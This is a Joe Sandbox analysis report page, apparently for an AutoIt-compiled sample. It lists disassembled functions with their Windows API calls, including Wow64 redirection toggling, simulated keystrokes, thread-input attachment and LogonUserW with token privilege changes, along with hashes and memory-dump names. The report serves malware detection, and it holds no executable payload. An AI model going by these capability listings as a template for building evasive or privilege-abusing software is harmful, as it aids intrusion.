Instruction ID: 77fe6d321b184b9711b81bf631612cf356d0a6a2defbb5274c2ec4c15d43fabc
Opcode Fuzzy Hash: 87495355e5bdc08f593e1304f8ddbc95cb025c5cdf05474f13020d087cb4b1c2
Instruction Fuzzy Hash: 6232BC75A00229DFDB20DF54D894EBEB7F5EF48300F1580DAE919AB261CB74AD81CB91

Function 00B24ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B24E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B24EDD,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24E9C
Part of subcall function 00B24E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00B24EAE
Part of subcall function 00B24E90: FreeLibrary.KERNEL32(00000000,?,?,00B24EDD,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24EFD

Part of subcall function 00B24E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B63CDE,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24E62
Part of subcall function 00B24E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00B24E74
Part of subcall function 00B24E59: FreeLibrary.KERNEL32(00000000,?,?,00B63CDE,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24E87

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: cf75a42b0093d765db6eb258d9ab3d2a283da25f9661731846803bf687a3cf35
Instruction ID: 85b4fbb56d7efa432463659a55970706639b0fd4a0c162924952ad5806171dd6
Opcode Fuzzy Hash: cf75a42b0093d765db6eb258d9ab3d2a283da25f9661731846803bf687a3cf35
Instruction Fuzzy Hash: C2110431610215AADF24FB60ED02FED7BE4AF90B10F2044A9F54AA65C1DFB09A049B50

Function 00B58402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00B58440

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: e32a7e1cd44626ca5b9dcc6de153a5dd0bf42576d48063e8026bf04228592e92
Instruction ID: adb42359fb049a1fa3f2d8fc62a0205847a06c39d6a23ba8b8555180b4e53f3a
Opcode Fuzzy Hash: e32a7e1cd44626ca5b9dcc6de153a5dd0bf42576d48063e8026bf04228592e92
Instruction Fuzzy Hash: 4D11187590410AAFCB05DF58E941A9A7BF9EF48315F104099FC09AB312DA31DA15CBA5

Function 00B55000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B54C7D: RtlAllocateHeap.NTDLL(00000008,00B21129,00000000,?,00B52E29,00000001,00000364,?,?,?,00B4F2DE,00B53863,00BF1444,?,00B3FDF5,?), ref: 00B54CBE

_free.LIBCMT ref: 00B5506C

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 2767db862e18e2ed4d769b9e77961d1fa04da4d7b6471add51d4d3fabb1f29f7
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: FF014E722047045BE3318F55D881B5AFBECFB85371F29059DE984932C0E7706809C774

Function 00BB29BF Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?,?,?,00BB14B5,?), ref: 00BB2A01

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a95fb5b72ba2e53994a7e8cab2a048c74aced3de46affa5dde4a11b7aa39a18e
Instruction ID: 7a1a722ccc5ce1825f34425cb369fa80e976d511c8c6d0165126be4887eea2d1
Opcode Fuzzy Hash: a95fb5b72ba2e53994a7e8cab2a048c74aced3de46affa5dde4a11b7aa39a18e
Instruction Fuzzy Hash: 80017536740A419FD325CB2DC454BB677D2EB85314F6985A9D08B8B251DBB2FC42C790

Function 00B4E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: de3aebe97b30adee244ae8000785ec5cfd1f6cf1bc769b9d9e395173c466a43e
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 8CF0F432511A1096C7313A799C05B5A33DCAF53336F110BE5F835A32D2CB74DA09A6A6

Function 00B54C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00B21129,00000000,?,00B52E29,00000001,00000364,?,?,?,00B4F2DE,00B53863,00BF1444,?,00B3FDF5,?), ref: 00B54CBE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 300d3dd93443db4ba0f41581ab4746f9e973d5c80499c568d0c65056f7ba5847
Instruction ID: 6643dfcd7d1ea61fc53b08cf44583a1274a525eb1ff486b09b16beb0b553fb58
Opcode Fuzzy Hash: 300d3dd93443db4ba0f41581ab4746f9e973d5c80499c568d0c65056f7ba5847
Instruction Fuzzy Hash: D2F0E931602224A7DB215F669C05B5B37C8FFC17AAB1441D1BD19B7280CFB0D88C96E0

Function 00B53820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00BF1444,?,00B3FDF5,?,?,00B2A976,00000010,00BF1440,00B213FC,?,00B213C6,?,00B21129), ref: 00B53852

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9b79223a0c52d21de0ca42edb304ac93ccbf622728e56e53cd8c53901985390a
Instruction ID: 9ba192cfafa12085a81b5fa6c30449015acfaa3144e5162075aa128d44100b3a
Opcode Fuzzy Hash: 9b79223a0c52d21de0ca42edb304ac93ccbf622728e56e53cd8c53901985390a
Instruction Fuzzy Hash: 74E0E531100224A7D639266A9C00B9A36C8EB42FF2F1501E1BC14A3680DF51DE0993E0

Function 00B24F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24F6D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: e29f08dc85b9e2dd308faff30bf43bafd2eb1b2488767aa120f399a5e6a5bc24
Instruction ID: 906432ff66d1c468cdcb1c2e17e6c81d09d770d87e39a6cec17c6f2ba610c9ec
Opcode Fuzzy Hash: e29f08dc85b9e2dd308faff30bf43bafd2eb1b2488767aa120f399a5e6a5bc24
Instruction Fuzzy Hash: 51F03071105761CFDB349F64E590812BBE4FF5431931089BEE1EE93911C7719844DF10

Function 00BB2A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00BB2A66

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 327b3c5f6230baa018e4dbe1814501129cf313ce068561e8ea5ee3827b0925d2
Instruction ID: 74442a928cebc2e0fba7fe52a1ae9fe4ba6069912b5c48ee33c57811f6dc30b6
Opcode Fuzzy Hash: 327b3c5f6230baa018e4dbe1814501129cf313ce068561e8ea5ee3827b0925d2
Instruction Fuzzy Hash: 2BE04F36350116ABC714FB30DC818FA7BDCEB5039571045B6EC27D2110DF709995D6A0

Function 00B22DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00B22DC4

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 761b979ece59fbb2e6490ace875b23611d349c61f760c8a4aa857c8aa070434f
Instruction ID: a3f0f4cd9b5be824724eed5e7a01af8ce48046e331fd205e1a5ee31e22728344
Opcode Fuzzy Hash: 761b979ece59fbb2e6490ace875b23611d349c61f760c8a4aa857c8aa070434f
Instruction Fuzzy Hash: E7E0CD726001245BC720D6589C06FDA77DDDFC8790F0401B1FD09D7248D9A4AD808550

Function 00B22B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B23837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B23908

Part of subcall function 00B2D730: GetInputState.USER32 ref: 00B2D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00B22B6B

Part of subcall function 00B230F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00B2314E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: e3e0f51e1fd3476e2611112276bda2ce6e6429892db53a9e5ca76e16c4895ec7
Instruction ID: 90f9b06cb4536c205d69b0f534b66b1011568b45e3190759cfc0cf1f86cdc08a
Opcode Fuzzy Hash: e3e0f51e1fd3476e2611112276bda2ce6e6429892db53a9e5ca76e16c4895ec7
Instruction Fuzzy Hash: 6FE07D2230022803C704BB38B81657DB7C9DBD5751F400DFEF14E87263CF2949498362

Function 00B6039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00B60704,?,?,00000000,?,00B60704,00000000,0000000C), ref: 00B603B7

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5ca447a373052027bb751448d4d98a7283802e498c8cb45e41ca48f4ab42d715
Instruction ID: e34ae539c2aaf824077b25a35d22ec257735cebc8e303d484a46db3da2d84537
Opcode Fuzzy Hash: 5ca447a373052027bb751448d4d98a7283802e498c8cb45e41ca48f4ab42d715
Instruction Fuzzy Hash: D4D06C3204010DBBDF028F84DD06EDA3FAAFB48714F014100BE1866020C772E821AB90

Function 00B21CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00B21CBC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 6f387bf872bb583625beadbb09cb31639811b9cedb8471e2c715a12f25f9e9c9
Instruction ID: d73284386ea1504017d8e3bb40d4158d3e21d55c938d122e0b3cb4d586d1b4b2
Opcode Fuzzy Hash: 6f387bf872bb583625beadbb09cb31639811b9cedb8471e2c715a12f25f9e9c9
Instruction Fuzzy Hash: 32C09B36280305EFF2148784BC4BF207754A358B00F044401F609575E3CBE11410D654

Non-executed Functions

Function 00BB9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00BB961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00BB965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00BB969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00BB96C9
SendMessageW.USER32 ref: 00BB96F2
GetKeyState.USER32(00000011), ref: 00BB978B
GetKeyState.USER32(00000009), ref: 00BB9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00BB97AE
GetKeyState.USER32(00000010), ref: 00BB97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00BB97E9
SendMessageW.USER32 ref: 00BB9810
SendMessageW.USER32(?,00001030,?,00BB7E95), ref: 00BB9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00BB992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00BB9941
SetCapture.USER32(?), ref: 00BB994A
ClientToScreen.USER32(?,?), ref: 00BB99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00BB99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00BB99D6
ReleaseCapture.USER32 ref: 00BB99E1
GetCursorPos.USER32(?), ref: 00BB9A19
ScreenToClient.USER32(?,?), ref: 00BB9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00BB9A80
SendMessageW.USER32 ref: 00BB9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00BB9AEB
SendMessageW.USER32 ref: 00BB9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00BB9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00BB9B4A
GetCursorPos.USER32(?), ref: 00BB9B68
ScreenToClient.USER32(?,?), ref: 00BB9B75
GetParent.USER32(?), ref: 00BB9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00BB9BFA
SendMessageW.USER32 ref: 00BB9C2B
ClientToScreen.USER32(?,?), ref: 00BB9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00BB9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00BB9CDE
SendMessageW.USER32 ref: 00BB9D01
ClientToScreen.USER32(?,?), ref: 00BB9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00BB9D82

Part of subcall function 00B39944: GetWindowLongW.USER32(?,000000EB), ref: 00B39952

GetWindowLongW.USER32(?,000000F0), ref: 00BB9E05

Strings

F, xrefs: 00BB9D07
@GUI_DRAGID, xrefs: 00BB997D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 0c25a0e7292529e8ee843cf6f17e7ed6804bcf67729bbf7bce8189c28488025c
Instruction ID: af005785e93a0b586f2cc92caa882ea55b73abd5c2fd4da3103cd9daa2cb1585
Opcode Fuzzy Hash: 0c25a0e7292529e8ee843cf6f17e7ed6804bcf67729bbf7bce8189c28488025c
Instruction Fuzzy Hash: C4428F34204251AFD724CF28CC84EFABBE5FF49310F144A99F69A872A1DBB1E855CB51

Function 00B3F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00B3F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B7F474
IsIconic.USER32(00000000), ref: 00B7F47D
ShowWindow.USER32(00000000,00000009), ref: 00B7F48A
SetForegroundWindow.USER32(00000000), ref: 00B7F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B7F4AA
GetCurrentThreadId.KERNEL32 ref: 00B7F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B7F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00B7F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00B7F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00B7F4DE
SetForegroundWindow.USER32(00000000), ref: 00B7F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B7F4F6
keybd_event.USER32(00000012,00000000), ref: 00B7F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B7F50B
keybd_event.USER32(00000012,00000000), ref: 00B7F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B7F519
keybd_event.USER32(00000012,00000000), ref: 00B7F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B7F528
keybd_event.USER32(00000012,00000000), ref: 00B7F52D
SetForegroundWindow.USER32(00000000), ref: 00B7F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00B7F557

Strings

Shell_TrayWnd, xrefs: 00B7F46F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 21a43c027c5f42653cb42dcdb5878e59422df109e117be33e0060009c8208f8a
Instruction ID: 0c1602a693806aa48a6e2309a5329e41b6c141efde36a33569e7f7247334dd67
Opcode Fuzzy Hash: 21a43c027c5f42653cb42dcdb5878e59422df109e117be33e0060009c8208f8a
Instruction Fuzzy Hash: 71319471A40219BBEB20ABB58C4AFBF7EACEB44B50F104165FA05E71D1CBF05D00AA64

Function 00B81201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00B816C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B8170D
Part of subcall function 00B816C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B8173A
Part of subcall function 00B816C3: GetLastError.KERNEL32 ref: 00B8174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00B81286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00B812A8
CloseHandle.KERNEL32(?), ref: 00B812B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B812D1
GetProcessWindowStation.USER32 ref: 00B812EA
SetProcessWindowStation.USER32(00000000), ref: 00B812F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B81310

Part of subcall function 00B810BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B811FC), ref: 00B810D4
Part of subcall function 00B810BF: CloseHandle.KERNEL32(?,?,00B811FC), ref: 00B810E9

Strings

default, xrefs: 00B8130B
, xrefs: 00B8125A
winsta0, xrefs: 00B812CC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
